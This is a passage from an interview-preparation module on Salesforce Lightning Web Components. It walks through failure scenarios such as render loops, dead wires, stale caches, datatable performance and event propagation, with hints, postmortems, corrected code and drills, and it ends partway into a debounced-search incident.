Module 2 — LWC / UI / JavaScript
Interview weight: 20–25% (combined UI/JS/Aura block: ~25–30%) · Estimated time: 5–7 sessions (~90 min each) Target: By the end, you can explain why an LWC misbehaves (infinite loop, dead wire, stale data, lost event, frozen table) in 2 minutes closed notes — and rebuild it correctly from memory. Apex is still the #1 block, but LWC is the #2 block and the most common place a 2-yr candidate gets filtered (Deloitte-style 50-question guides: ~8 of 50 questions are LWC/UI).
M0 — THE MAP (read this first, 5–10 min)
The one idea everything hangs on: THE ONE-WAY DATA RIVER
Every LWC concept in this module — lifecycle hooks, decorators, wire vs imperative, events, rendering, reactivity — is a consequence of one design decision:
Data flows one way: down into components (properties), up out of them (events). The component only re-renders when a tracked property's reference changes — and the platform controls when the component is born, grows, and dies (lifecycle).
Think of it as a river system:
- The river = data. It flows downhill only: parent → child via
@apiproperties, and out viaCustomEvents. No child ever reaches upstream to change a parent's data directly. - The banks = the lifecycle:
constructor(birth — nothing else exists yet),connectedCallback(attached to the DOM — fetch data here),renderedCallback(after every render — DOM work here, guarded),disconnectedCallback(death — unsubscribe everything),errorCallback(catches descendant crashes). - The gauges = reactivity: a property triggers re-render only when you assign a new reference (
this.items = [...this.items, x]works;this.items.push(x)is silent).@wireis a reactive dam — it re-runs when its$inputs change, not when you feel like it. - The bridges = wire vs imperative:
@wire= automatic, cached, read-only (needscacheable=true); imperative = on-demand, for DML and control, and you must refresh stale caches afterwards (refreshApex,notifyRecordUpdateAvailable). - The locks = LMS (Lightning Message Service): the only way for unrelated components to talk — publish/subscribe, and you MUST unsubscribe in
disconnectedCallbackor the river floods (memory leak). - The guards = security: LWS sandbox, CSP (no inline scripts, no external CDNs), declarative templates over
innerHTML.
Why this map matters (the bridge): Every "hard" LWC question — the infinite render loop, the wire that never fires, the stale screen, the lost event, the frozen table — is a specific incident where someone forgot one of these facts:
- Rendered output re-runs after every render; state changes there = loop.
@wireonly fires when its$inputs are actually defined.- Caches don't know about your imperative DML — you must tell them.
- Events don't travel unless you set
bubbles: true(andcomposed: trueto cross shadow DOM). - The DOM is a browser: 10,000 rows will freeze it.
By the end of this module, "knowing it" looks like this: given any one of the 9 problems below, you can (a) name the mechanism that failed, (b) explain it on a whiteboard, (c) write the fixed component from memory, and (d) say which interview question it maps to.
The incidents (choose your own adventure — recommended order)
| # | Incident | The villain mechanism |
|---|---|---|
| 1 | The Infinite Render Loop | renderedCallback + reactive state |
| 2 | The Wire That Never Fired | $ reactive param undefined |
| 3 | The Stale Screen | Cache ignorance after imperative DML |
| 4 | The Frozen Table | DOM scale + datatable perf limits |
| 5 | The Lost Event | bubbles/composed defaults |
| 6 | The Search That Killed the Server | No debounce + N+1 calls |
| 7 | The XSS in the "Trusted" Text | innerHTML / CSP / LWS |
| 8 | The Aura Ghost | LWC cannot embed Aura |
| 9 | 🏆 CAPSTONE: The 60-Minute Live Coding Challenge | Everything, under a clock |
Protocol reminder (from file 00): attempt in writing FIRST (≥2 hypotheses + 2 solution attempts), hard 45-min cap, hint ladder, then reveal, then REDO, then retrieval drill. The sealed answer sheet lives in
02b_Topic02_Answer_Sheet.md. You are expected to fail. The failure is the task.
INCIDENT 1 — THE INFINITE RENDER LOOP
STAKES
Wednesday, 3:00 PM. A new dashboard component deploys to production — a chart of pipeline by stage. Within an hour, three users report the same symptom: the tab freezes solid, then "Page Unresponsive" kills the whole browser window. The dev's machine ran it fine for a week. The code reviewer approved it because "the logic is all client-side, no Apex involved."
THE INCIDENT
export default class PipelineChart extends LightningElement {
isLoading = true;
renderedCallback() {
this.initChart(); // draws the chart
this.isLoading = false; // "now hide the spinner"
}
initChart() {
// third-party chart lib init against the DOM
}
}And in the template:
<template>
<lightning-spinner if:true={isLoading}></lightning-spinner>
<div lwc:dom="manual"></div>
</template>THE PROBLEM
The chart never draws, and the tab dies. One line of "harmless" state change is the assassin. Which line, why does it loop, and what is the correct structure for "do this once after first render"?
Write: (1) ≥2 hypotheses, (2) the fixed component (guard + correct hook usage), (3) the follow-up answer: "how do you re-init when the data changes, without re-initializing the chart?"
HINT LADDER
- Hint 1 (the avenue): What hook "fires after every render"? What happens to a reactive property when you assign it during that hook?
- Hint 2 (the mechanism):
renderedCallback()runs after EVERY render. Assigning a tracked property there schedules a re-render. Re-render →renderedCallbackagain → assignment again → infinite loop / frozen tab. The spinner beingif:truemeans the first assignment changes the DOM → guaranteed second render. - Hint 3 (the skeleton): Guard flag:
if (this.chartInit) return; this.chartInit = true;for the one-time chart init. Then a@apisetter or a separate non-reactive flag for "data changed → redraw". Never touch reactive state inrenderedCallbackfor control flow.
THE REVEAL — POSTMORTEM
What actually happened (real class of incidents — glenbradford.com, CRM Curator 2026, LWC best-practices docs):
The assassin is this.isLoading = false; inside renderedCallback(). It's a tracked field, so the assignment schedules a re-render. The re-render runs renderedCallback() again — which assigns isLoading = false again (harmless value-wise, but the assignment itself marks the property dirty and schedules yet another render). Infinite render → the browser thread never yields → "Page Unresponsive."
The dev's machine "ran fine for a week" because the loop was fast and the tab was small — modern browsers take a while before killing the thread, and the error only surfaces under load or when DevTools is open.
Why the "obvious fixes" failed (the contrast):
- "Move the chart init to
connectedCallback" → the DOM doesn't exist yet (lwc:dom="manual"div not in the tree at that point); chart init would throw or draw nothing. Chart/DOM work belongs inrenderedCallback— with a guard. - "Remove the spinner line" → true, it stops the loop, but it doesn't fix the pattern: ANY reactive assignment in
renderedCallbackis a landmine. The guard is the fix. - "Use
if:false/if:trueon the spinner" → that's the deprecated directive (see Incident-adjacent knowledge:lwc:ifis the modern syntax), but irrelevant to the loop.
The correct structure:
export default class PipelineChart extends LightningElement {
chartInit = false; // NOT reactive-relevant: plain instance field
isLoading = true;
renderedCallback() {
if (this.chartInit) return;
this.chartInit = true; // ← guard, set BEFORE the work
this.initChart();
}
// When data arrives later (wire or @api), redraw via a separate path:
@api
set chartData(value) {
this._chartData = value;
if (this.chartInit) this.redraw(); // chart exists → just redraw
}
get chartData() { return this._chartData; }
}Rules extracted: (1) one-time DOM init → renderedCallback + Boolean guard; (2) data-driven redraws → @api setter or @wire callback that calls a redraw method, never re-enter the render lifecycle; (3) reactive state changes belong in event handlers, connectedCallback, and imperative flows — never in renderedCallback.
KNOWLEDGE EXTRACTION (interview-ready answers you just earned)
- "Name the lifecycle hooks." →
constructor,connectedCallback,renderedCallback,disconnectedCallback,errorCallback. Order for parent+child (memorize): Parentconstructor→ ParentconnectedCallback→ Childconstructor→ ChildconnectedCallback→ ChildrenderedCallback→ ParentrenderedCallback. "Parent initializes first, child finishes rendering first." - "
connectedCallbackvsrenderedCallback?" → connected = inserted into DOM (runs every time, can be multiple times; best for data fetch, subscriptions, imperative Apex). rendered = after every render (best for DOM work; must be guarded; the ONLY hook where child DOM is guaranteed available). - "Where do you fetch data?" →
connectedCallback(imperative) or@wire. Notconstructor(no DOM, no Apex,super()must be first). - "Can
connectedCallbackrun more than once?" → Yes — every time the component is re-inserted into the DOM (moving between containers, conditional rendering re-adding it). - "
disconnectedCallback?" → Cleanup: unsubscribe LMS/pubsub,clearInterval, remove event listeners. Forgetting = memory leak. - "
errorCallback?" → Catches errors in descendants only — not your own code or event handlers. Use it as an error boundary (show fallback UI). - "
@trackstill needed?" → Mostly no. Since Spring '20 all fields are reactive; since Winter '21 (API 49) shallow reactivity is default.@trackis only for deep observation of plain object/array internals — and it does NOT observe class instances,Date,Map,Set.
THE REDO (compressed, from memory — 15 min)
Write a component that: loads 3 fields of an Account via @wire getRecord, initializes a chart ONCE in renderedCallback, and redraws the chart when the wired data changes — without any possibility of a render loop. (Hint: where does the "data changed" signal live?)
RETRIEVAL DRILL (closed-book, written)
- Write the parent→child lifecycle hook order from memory.
- Why is a reactive assignment inside
renderedCallbackdangerous? - Name 2 things you may NOT do in
constructor. - What is
errorCallbackfor, and what does it NOT catch? - Is
@trackrequired for a plain object field to be reactive? When IS@trackneeded?
INTERVIEW MAPPING
Lifecycle hooks are the single most-asked LWC area — and the probe is usually a failure case like this one, not the happy list. Persistent Systems L2 and Accenture-style 4+yr lists both contain "explain renderedCallback and when it can be dangerous." Knowing the guard pattern + the "no reactive state in renderedCallback" rule is the level-above answer.
INCIDENT 2 — THE WIRE THAT NEVER FIRED
STAKES
Thursday, 9:30 AM. A record-detail component ships to a Lightning App Page (not a record page). Demo on the record page: perfect. In production: the fields stay empty forever. No error in the console. No Apex in the debug logs. Nothing.
THE INCIDENT
import { getRecord } from 'lightning/uiRecordApi';
import ACCOUNT_NAME_FIELD from '@salesforce/schema/Account.Name';
export default class AccountSummary extends LightningElement {
@api recordId; // ← populated ONLY on record pages
@wire(getRecord, { recordId: '$recordId', fields: [ACCOUNT_NAME_FIELD] })
account;
}Deployed to: an App Page (no record context) and an Experience Cloud page (Guest User, no record context).
THE PROBLEM
The wire "works" in dev and on the record page, and is dead on App/Experience pages — with zero errors. Explain the exact mechanism, and design the fix for "my component must work on ANY page type, record context or not."
Write: (1) ≥2 hypotheses, (2) the mechanism, (3) the robust fix.
HINT LADDER
- Hint 1 (the avenue):
$recordIdis a reactive input. What happens when a reactive input isundefinedat the moment the wire first evaluates? - Hint 2 (the mechanism):
@wirewith a$param deferred — it does not fire until the param has a defined value.recordIdis only auto-populated on record pages; on App pages it'sundefinedforever → the wire never fires, no error, no Apex call. Same on Experience Cloud (no record context for Guest User). - Hint 3 (the skeleton): Detect no-record-context:
if (!this.recordId) { fallback }. Options: (a) get the recordId from the page reference (currentPageReference→state.recordId) on App pages with an action/related-record URL parameter; (b) imperativegetRecordfallback inconnectedCallback; (c) wire with a non-reactiverecordIdthat you set imperatively. Always render empty/error states, never assume the wire fired.
THE REVEAL — POSTMORTEM
What actually happened (real class of incidents — LWC best practices + StackExchange: "Why is my @wire not called?"):
A @wire whose config references a $-prefixed property is reactive: the framework waits for that property to have a defined value, and re-provisions whenever it changes. recordId is only auto-set on record pages. On App Pages, Experience Cloud pages, utility bars, and tabs there is no record context → recordId is undefined → the wire never fires. It's not an error — it's a deferred promise that never resolves. That's why: no console error, no Apex call, empty UI, forever.
Why the "obvious fixes" failed (the contrast):
- "It must be a caching issue, let me refreshApex" → there's nothing to refresh; the wire never provisioned.
refreshApexonly works on data actually delivered by a@wire. - "Let me move it to imperative in
connectedCallback" → correct direction, but now you must handleundefined recordIdthere too —getRecordwith an undefined id is itself an error. The guard comes first. - "Make
recordIda non-reactive@apiparam and set it from the parent" → viable on App pages IF the parent knows the id (e.g., fromcurrentPageReferencestate or a list-selection event) — this is the common "master-detail on an App page" pattern.
The robust pattern (works everywhere):
@api recordId; // record pages: platform-provided
wiredAccount; // for refreshApex later
hasRecordContext = false;
connectedCallback() {
if (!this.recordId) {
// Fallback 1: try the page reference (App pages with record in the URL state)
this.recordId = this.pageRef?.state?.recordId;
}
this.hasRecordContext = !!this.recordId;
if (!this.hasRecordContext) {
this.showEmptyState(); // graceful UX, never a silent blank
}
}
@wire(getRecord, { recordId: '$recordId', fields: [...] })
wiredAccount(result) { this.wiredAccount = result; /* transform if needed */ }Rules extracted: (1) $-reactive inputs that are undefined → wire silently never fires — always guard; (2) @api recordId is populated only on record pages — design for the no-context case; (3) always render explicit empty/loading/error states; (4) refreshApex(this.wiredAccount) only makes sense after a successful provision.
KNOWLEDGE EXTRACTION (interview-ready)
- "Wire vs imperative Apex?" → @wire: automatic + reactive + client-cached, requires
@AuraEnabled(cacheable=true), read-only (no DML), re-runs on reactive param change /refreshApex/ re-render. Imperative: manual control (button,connectedCallback), works with non-cacheable methods (DML), you manage loading/error. Wire for read-only reactive data; imperative for DML and control. - "Why is my @wire called multiple times?" → Reactive deps changed,
refreshApexcalled, component re-rendered, page navigation. Check forundefined→defined transitions on$params. - "Can @wire do DML?" → No — cacheable methods can't mutate data; DML methods can't be cacheable. That's what imperative is for.
- "Can I use @wire for a button click?" → No — wire is declarative; call the method imperatively (or use a trigger variable).
- "How do you refresh after a save?" →
await refreshApex(this.wiredResult)(wire-provisioned Apex data only) ornotifyRecordUpdateAvailable([recordId])(LDS/UI API cache). You cannot refreshApex a cacheable method called imperatively — a classic trap. - "Wired property vs wired function?" → A wired function lets you destructure
{ data, error }, set tracked fields, and transform — use it when you need to react to the result.
THE REDO
Rewrite the incident component so it (a) works on any page type, (b) shows an empty state when there's genuinely no record, and (c) can be refreshed after an imperative update. Then answer: what does $recordId vs recordId in the wire config mean, exactly?
RETRIEVAL DRILL
- What happens when a
$reactive input isundefinedat wire evaluation? - What must an Apex method have to be wireable?
refreshApex— when does it work, and when does it NOT?- Name 3 situations where a wire re-provisions.
- Wire vs imperative for a Save button — and why?
INTERVIEW MAPPING
"Wire vs imperative" is a very high frequency question at every company sampled (Deloitte, Capgemini, PwC, Kore1). The $undefined silent-death mechanism is the differentiator — most candidates only know the happy path. Bonus credibility: mention notifyRecordUpdateAvailable for LDS.
INCIDENT 3 — THE STALE SCREEN
STAKES
The datatable-driven "Quick Edit" page went live two weeks ago. Users love it. Then a support ticket: "I change a field, it saves — I even see the toast — but the row still shows the old value. I have to refresh the page. Every time." Some rows DO update correctly. The pattern: rows updated from the search results list stay stale; rows updated from the detail panel refresh fine.
THE INCIDENT
- The page: left =
lightning-datatableof search results (data via @wire Apex search), right = detail panel (data via LDSgetRecord). - Save flow: imperative
updateRecord(LDS) on the right; on the left, an imperative ApexsaveRowthat the datatable'sonsavecalls withevent.detail.draftValues. - After either save, the dev calls
refreshApexon the left panel's wired search — "because I read you should." Right panel: nothing at all is called after save.
THE PROBLEM
One side refreshes and stays stale; the other side doesn't refresh at all and stays fresh. Explain the asymmetry — both mechanisms — and the correct refresh calls for both panels.
Write: (1) the two mechanisms, (2) the fixed refresh strategy, (3) the trap the dev's refreshApex call hid.
HINT LADDER
- Hint 1 (the avenue): Two different caching systems are in play: the Apex
@wirecache and the LDS (UI API) cache. Which one doesrefreshApextalk to? Which one needsnotifyRecordUpdateAvailable? - Hint 2 (the mechanism): Left: the search result was fetched through
@wire→refreshApex(this.wiredSearch)re-provisions the server data — but the update happened through a different method (saveRow), and the wire re-fetches — so why stale? Because: the row shown in the datatable is a copy the component holds (e.g.,this.data = mapRows(records)) — re-provisioning the wire updatesrecords, but the display array was not rebuilt, OR the search re-fetch returns the SAME server rows but the component didn't re-map them. Actually — the real asymmetry: right panel uses LDSgetRecord— LDS auto-refreshes when another component edits the same record (UI API cache invalidation). Left panel's Apex wire knows nothing about the DML → stale untilrefreshApex. AndrefreshApexon the left only helps if the wire data is re-mapped to the datatable. - Hint 3 (the skeleton): Left: after
saveRow→await refreshApex(this.wiredSearch)AND rebuild the datatable rows from the fresh records. Right: LDS cache is already notified viaupdateRecord— but if you read data viagetRecordwire into a copy, same re-map requirement; for extra safety callnotifyRecordUpdateAvailable([id])after imperative LDS writes. Also:refreshApexon a wire that was never provisioned, or on a cacheable method called imperatively, silently does nothing — the dev's left-panel call may have been a no-op.
THE REVEAL — POSTMORTEM
What actually happened (real class of incidents — Trailhead "Work with Data", Ambarish Medium LWC+Apex guide, StackExchange "Refreshing imperative cacheable method"):
Two cache worlds:
- Apex
@wirecache (client-side cache of@AuraEnabled(cacheable=true)results). It is only invalidated by: (a) reactive input changes, (b) an explicitrefreshApex(this.wiredResult). It does NOT know thatsaveRow(imperative DML) changed the data. - LDS / UI API cache (
getRecord+ the record CRUD functions). The UI API cache auto-invalidates onupdateRecord/createRecord/deleteRecord— other components usinggetRecordfor the same record refresh automatically. That's why the right panel "refreshed itself."
The asymmetry: the right panel worked for free (LDS auto-refresh); the left panel went stale because the Apex wire cache is blind to imperative DML. The dev's refreshApex call WAS the right instinct for the left panel — but (the hidden trap) if the component also maps the wire result into a separate display array, re-provisioning alone doesn't rebuild the table rows; and if refreshApex targets a wire that never provisioned (Incident 2's dead wire) or a cacheable method called imperatively, it's a silent no-op.
Why the "obvious fixes" failed (the contrast):
- "Just call refreshApex after every save" → correct for the Apex-wire panel; useless for the LDS panel (its cache invalidates itself), and a silent no-op if the data didn't come from a wire.
- "Switch everything to LDS" → LDS is single-record, declarative-friendly; the left panel needs a search query (multi-record, filtered) — that's Apex territory. Not a fix.
- "Disable caching (cacheable=false) and always re-fetch imperatively" → works but throws away the cache benefits (fewer round-trips, shared cache); the senior answer preserves caching and invalidates precisely.
The fixed refresh strategy:
// LEFT panel (Apex wire search + imperative saveRow):
async handleSave(event) {
const draftValues = event.detail.draftValues;
const results = await saveRow({ rows: draftValues }); // imperative DML
if (results.some(r => !r.isSuccess)) { /* map errors back */ }
await refreshApex(this.wiredSearch); // invalidate the wire cache
this.rows = mapRows(this.wiredSearch.data); // ← re-map into the table!
}
// RIGHT panel (LDS getRecord + updateRecord):
async handleUpdate() {
await updateRecord({ fields: {...} }); // LDS invalidates its own cache
notifyRecordUpdateAvailable([this.recordId]); // belt-and-braces for cross-component freshness
}Rules extracted: (1) Apex wire cache invalidation = refreshApex; (2) LDS cache invalidation = automatic on LDS writes + notifyRecordUpdateAvailable for safety; (3) a wire result you map into display state must be re-mapped on refresh; (4) refreshApex on non-wire data is a silent no-op.
KNOWLEDGE EXTRACTION (interview-ready)
- "What is LDS?" → Lightning Data Service: wire adapters + JS functions in
lightning/uiRecordApifor single-record CRUD without Apex — built-in caching, sharing/FLS enforcement, cross-component cache sharing, auto-refresh. - "LDS vs Apex — when which?" → LDS: single-record get/read/update (record forms, detail panels). Apex: multi-object joins, business logic, callouts, bulk processing, filtered searches, objects UI API doesn't support (Task, Event).
- "How do two users editing the same record conflict?" → Optimistic locking: check
LastModifiedDate/SystemModstampbefore save; pessimistic:SELECT ... FOR UPDATE(locks in the DB). - "What are
getRecord's config gotchas?" → NeedsfieldsORlayoutTypes; useoptionalFieldsfor FLS-restricted fields (they'd error the whole request otherwise); import via@salesforce/schema/Object.Field.updateRecordwith compound fields needs constituent fields (Contact.FirstName+Contact.LastName, notContact.Name). - "
getRecordUi?" → Deprecated →getLayout. Interviewers check whether you know. - "Wire adapters?" →
getRecord,getObjectInfo,getPicklistValues,getPicklistValuesByRecordType. Functions:createRecord,updateRecord,deleteRecord,getFieldValue,getFieldDisplayValue.
THE REDO
Design a "search + quick-edit" page from memory: wire vs imperative choice for each panel, the exact post-save invalidation calls, and what happens to the datatable's draftValues on partial success (Database.update(records, false) + SaveResult[]).
RETRIEVAL DRILL
- Two cache systems in the platform, and who invalidates each.
refreshApex— the 3 conditions for it to actually do something.- When does LDS auto-refresh other components?
- Why does the search panel go stale but the detail panel not? (Two sentences.)
- What is
notifyRecordUpdateAvailablefor?
INTERVIEW MAPPING
Caching/invalidation is a favorite follow-up after any "wire vs imperative" answer (Kore1, Deloitte 50-question guides). The refreshApex-can't-refresh-imperative-cacheable trap and the LDS auto-invalidation asymmetry are the exact "level-above" details interviewers fish for.
INCIDENT 4 — THE FROZEN TABLE
STAKES
An admin-facing "All Opportunities" page: a lightning-datatable fed by one @AuraEnabled query with no LIMIT. It works beautifully in the demo org (400 rows). Production: the page takes 30+ seconds to load and the browser freezes on scroll. The dev's defense: "The Apex limit is 50,000 rows, so it's legal."
THE INCIDENT
@AuraEnabled(cacheable=true)
public static List<Opportunity> getAll() {
return [SELECT Id, Name, Amount, StageName, Owner.Name, Account.Name FROM Opportunity];
}@wire(getAll)
allOpps;
// template: <lightning-datatable columns={columns} data={allOpps.data} ...></lightning-datatable>Where columns includes { label: 'Owner', fieldName: 'Owner.Name' } — which shows nothing in the column.
THE PROBLEM
Four defects hide in four lines. (1) Why does the browser freeze? (2) Why is the Owner column empty despite Owner.Name in the query? (3) What's the correct pageable design? (4) Where does the 50,000-row Apex limit actually bite here?
Write: (1) the 4 mechanisms, (2) the corrected design (infinite scroll or pagination + flattened data), (3) the perf rules you'd cite.
HINT LADDER
- Hint 1 (the avenue): (1) DOM scale — how many rows does the datatable actually render, and what's its perf sweet spot? (2) "No nested-field support" in datatable — what does the column definition need? (3) 50,000 rows × JSON serialization on the wire — what happens to the payload/heap?
- Hint 2 (the mechanism): (1) The datatable renders a DOM node (and then some) per row — 10,000+ rows = browser death; sweet spot ~1,000 rows × 5 columns; >250 rows → <20 columns. (2) Datatable columns have no nested-field support —
fieldName: 'Owner.Name'renders nothing; you must flatten (OwnerName) in Apex or JS. (3) 50,000 records through@wire= massive JSON payload, heap pressure server-side, and the client wire cache — and the wire result is capped at the query's row limit (50,000), which is NOT a license to ship them all. (4) Bonus: noLIMIT= the classic "it passed in sandbox" replay. - Hint 3 (the skeleton): Apex:
LIMIT 1000+OFFSET-free pattern → paginate vianextRecordsUrl/server-side offset, or datatableenable-infinite-loading+onloadmore+load-more-offset(offset-based Apex param). Flatten:SELECT Id, Name, OwnerId, Owner.Name→ map in JS toOwnerName. Never render beforedataexists (if:trueon a loading flag). Bulk save: pass onlydraftValues.
THE REVEAL — POSTMORTEM
What actually happened (real class of incidents — Lightning Component Reference datatable perf guidance, CRM Curator, LWC best practices):
- The freeze:
lightning-datatablerenders real DOM per row. The documented sweet spot: ~1,000 rows × ~5 columns; above ~250 rows stay under ~20 columns. The component also does its own virtualization poorly at scale — 10–50K rows = browser death. The dev shipped all rows because "the Apex limit is 50,000" — a limit, not a recommendation. - The empty column: datatable columns have no nested-field support.
fieldName: 'Owner.Name'doesn't resolve — the column renders blank. Fix: flatten (OwnerName) server-side or in JS. - The payload: 50K records through a wire = a multi-megabyte JSON payload (heap + serialization server-side, memory client-side) — the classic "legal but lethal" row-count.
- The hidden 4th defect: no loading-state gating —
data={allOpps.data}renders an empty/partial table during provisioning and can race the wire.
Why the "obvious fixes" failed (the contrast):
- "Add pagination buttons with OFFSET" → fine, but
OFFSETcaps at 2,000 in SOQL (and is slow beyond); the datatable-native answer is infinite scroll viaenable-infinite-loading+onloadmore+load-more-offset. - "Just query fewer fields" → helps payload, not DOM scale — the freeze is about rows rendered, not column count alone.
- "Use
@trackon the data" → the data is already reactive;@trackchanges nothing here (see Incident 1 knowledge) — a memorizer tell.
The corrected design:
@AuraEnabled(cacheable=true)
public static List<Opportunity> getPage(Integer offset, Integer limit) {
return [SELECT Id, Name, Amount, StageName, Owner.Name FROM Opportunity
ORDER BY CreatedDate LIMIT :limit OFFSET :offset];
}// infinite scroll: enable-infinite-loading, onloadmore -> { target.isLoading = true;
// this.offset += PAGE_SIZE; this.allRows = [...this.allRows, ...newRows]; target.isLoading = false; }
// columns: { label: 'Owner', fieldName: 'OwnerName', ... } // flattened
// loading: <template if:true={isLoading}><lightning-spinner></lightning-spinner></template>
// bulk edit: onsave -> saveRows({ rows: event.detail.draftValues }) // draftValues ONLYPlus: Database.update(records, false) server-side for partial success, returning per-row errors to the table's errors attribute. And for genuinely huge datasets: let the server page (batch/query locator + an endpoint), never the DOM.
KNOWLEDGE EXTRACTION (interview-ready)
- "Datatable perf rules?" → ~1,000 rows × 5 columns sweet spot; >250 rows → <20 columns; custom data types hurt perf; no nested fields (flatten); infinite scroll for large lists; pass only
draftValueson save. - "Inline editing pattern?" →
editable+draftValues+onsave/oncellchange; mapSaveResult[]failures back via theerrorsattribute (row-level + table-level). - "How do you bulk-save a datatable?" → Send
draftValuesto Apex →Database.update(rows, false)→ returnSaveResult[]→ render failures on rows. - "Loading states?" →
lightning-spinnerdriven by anisLoadingflag;target.isLoading = true/falsefor datatable infinite load; don't render the datatable until data exists. - "N+1 and heavy getters?" → Never loop imperative calls in JS; move heavy computation out of getters (they re-run on every render).
- "Debounce?" → ~300 ms for typeahead/search inputs (the incident 6 deep-dive).
THE REDO
Rewrite the Apex + LWC pair from memory: paged Apex (offset/limit), infinite-scroll datatable wiring (onloadmore, load-more-offset, spinner), flattened OwnerName column, and the bulk-save flow with partial-success error mapping.
RETRIEVAL DRILL
- Datatable perf sweet spot (rows × columns) and the >250-row rule.
- Why does
fieldName: 'Owner.Name'render nothing? - Two reasons "50,000 rows is legal" is the wrong bar.
- What exactly goes into the
onsavepayload, and what goes to Apex? - Name 3 loading-state patterns in a datatable page.
INTERVIEW MAPPING
Performance scenarios are the PwC signal ("LWC = performance engineering" — Abhishek Singh, PwC interview post) and appear in every live-coding prompt. The flattening + infinite-scroll + draftValues triple is the expected 3-4yr answer; most 2-yr candidates know only the happy-path table.
INCIDENT 5 — THE LOST EVENT
STAKES
The "Product Selector" widget: a grandchild component (product-item) fires an event when a user clicks a product; a parent (product-list) needs it to update a counter; a grandparent (checkout-page) needs it to update the total. Demo works. In production, the counter in the middle never moves — but the grandparent's total DOES update (through a different mechanism — a direct call). The dev swears the event fires: there's a console.log in the dispatcher.
THE INCIDENT
// product-item:
handleClick() {
this.dispatchEvent(new CustomEvent('productselected', { detail: this.product }));
console.log('dispatched');
}<!-- product-list template: -->
<template for:each={products} for:item="p">
<product-item product={p} onproductselected={handleProductSelected}></product-item>
</template>THE PROBLEM
The event fires (console proves it), the immediate parent doesn't hear it, and the dev's "fix" — adding onproductselected to every intermediate component — is rejected by the architect as wrong. Explain: (1) why the parent is deaf, (2) what the architect wants instead, (3) the difference between the two fixes.
Write: (1) the mechanism, (2) the correct dispatch config, (3) when you'd instead reach for LMS (and when you'd refuse it).
HINT LADDER
- Hint 1 (the avenue): Default
CustomEventoptions in LWC:bubblesandcomposed. What are the defaults, and what do they each control? (Bubbles = travel up the tree; composed = cross the shadow boundary.) - Hint 2 (the mechanism): Default is
bubbles: false, composed: false→ the event stays insideproduct-item's own shadow DOM; nothing outside hears it. Parent hearing requiresbubbles: true; the grandparent (a different shadow root) requirescomposed: true. The architect's rejection: re-dispatching manually through intermediates is the old Aura-era hack; the standards way is one dispatch with the right flags. - Hint 3 (the skeleton):
this.dispatchEvent(new CustomEvent('productselected', { detail: this.product, bubbles: true, composed: true }));— one dispatch serves every ancestor. Also: read the data fromevent.detail, neverevent.target(retargeting across shadow roots). LMS is for unrelated components, not a parent-child hierarchy.
THE REVEAL — POSTMORTEM
What actually happened (real class of incidents — LWC Events docs + "Events Best Practices", StackExchange "Custom Event vs LMS tradeoffs"):
The event DID fire — inside product-item's shadow DOM. By default CustomEvent travels nowhere: bubbles: false stops it from leaving the component; composed: false stops it from crossing shadow boundaries. The parent (product-list) and grandparent live in different shadow roots — deaf to a non-composed, non-bubbling event. The console.log only proves the dispatch, not the travel.
The dev's manual re-dispatch chain (parent listens → re-dispatches → grandparent listens) "works" but is the Aura-era pattern — fragile, redundant, and exactly what interviewers reject. The standards answer:
this.dispatchEvent(new CustomEvent('productselected', {
detail: this.product, // data travels in detail (retargeting-safe)
bubbles: true, // travel up the containment tree
composed: true // cross shadow boundaries → it's public API
}));One dispatch, every ancestor can hear it. Rules: (1) composed: true makes the event part of the component's public API — name it globally-uniquely (namespace prefix, e.g. itemselect from c-product-item); (2) pass primitives or copies in detail — objects get wrapped/mutated across boundaries; (3) prefer detail over target (target gets retargeted to the shadow host in listeners outside).
Why the "obvious fixes" failed (the contrast):
- "Add the same handler to every component in the chain" → works, but it's manual plumbing the framework gives you for free; reviewers see it as a design smell at 3-4yr.
- "Use LMS for everything" → wrong tool for a hierarchy. LMS is for unrelated components (sidebar ↔ main content) — it's global pub/sub, every subscriber gets every message, harder to test/debug, and leaks if you forget
unsubscribeindisconnectedCallback. Over-LMS is a red flag answer. - "Fire a DOM event on
document" → breaks encapsulation, fights the framework, LWS-incompatible patterns.
When LMS IS right: parent and child are not related in the tree (e.g., a filter sidebar and a table in a different part of the page), cross-tab/utility-bar coordination, or when components are separated by page areas. Judgment: events for hierarchies, LMS for strangers. The classic question — "parent needs data from a grandchild, walk me through options" — expects: @api props + CustomEvent bubbling for hierarchies; LMS only outside parent-child or across page areas.
KNOWLEDGE EXTRACTION (interview-ready)
- "How do LWC components communicate?" → Parent→child:
@apiproperties (data) +@apimethods (actions). Child→parent:CustomEventwithdetail,bubbles,composed. Unrelated: LMS (publish/subscribe/unsubscribe withMessageContext; unsubscribe indisconnectedCallback). - "
bubblesvscomposed?" →bubbles= travels up the containment tree;composed= crosses shadow DOM boundaries. Defaults: both false. - "Why not read
event.targetacross shadow roots?" → Target is retargeted to the shadow host; useevent.detail. - "Application events in LWC?" → There are none — Aura had application events; LWC uses LMS instead. Common interview trap.
- "LMS memory leaks?" → Subscribe in
connectedCallback,unsubscribeindisconnectedCallback, every time. AlsounsubscribeAllon destroy for safety. - "Two-way binding in LWC?" → One-way only: data flows down, events flow up. Aura's
v.valuetwo-way binding doesn't exist in LWC.
THE REDO
Redo the product selector: correct dispatch, parent + grandparent handlers reading event.detail, and a commented justification for NOT using LMS. Then answer the judgment question: "a filter panel and a results table live in different parts of the page, no shared parent — how do they talk?"
RETRIEVAL DRILL
- Defaults of
bubblesandcomposed— and the effect of each. - Where does data travel in a CustomEvent, and why not
event.target? - LMS vs CustomEvent — the decision rule in one sentence.
- What must you always do with LMS subscriptions, and where?
- Aura "application events" vs LWC — what replaced them?
INTERVIEW MAPPING
Component communication is very high frequency (LearnFrenzy scenario banks, trailheadtitans 20-questions, every live-coding prompt). The bubbles/composed mechanism + the "LMS only for strangers" judgment + the no-application-events fact = the complete senior answer in ~60 seconds.
INCIDENT 6 — THE SEARCH THAT KILLED THE SERVER
STAKES
A "Global Search Lite" box on a homepage: every keystroke fires an Apex search. Monday morning, the log shows Apex requests from a single user every ~150 ms for 9 minutes straight. The API-usage dashboard spikes red. The dev's reply: "It's cacheable, so it's cheap."
THE INCIDENT
handleKeyChange(event) {
this.term = event.target.value;
this.results = await searchContacts({ term: this.term }); // fires per keystroke
}With searchContacts being @AuraEnabled(cacheable=true), returning up to 50 rows, doing a LIKE search with proper escaping.
THE PROBLEM
Cacheable ≠ free. Three mechanisms turn one user's typing into a server attack. Name them, and rewrite the input handler correctly (including the race condition the fix must handle).
Write: (1) the 3 mechanisms, (2) the correct handler, (3) the two extra questions interviewers will chain: "why cacheable didn't save you" and "what happens when responses come back out of order?"
HINT LADDER
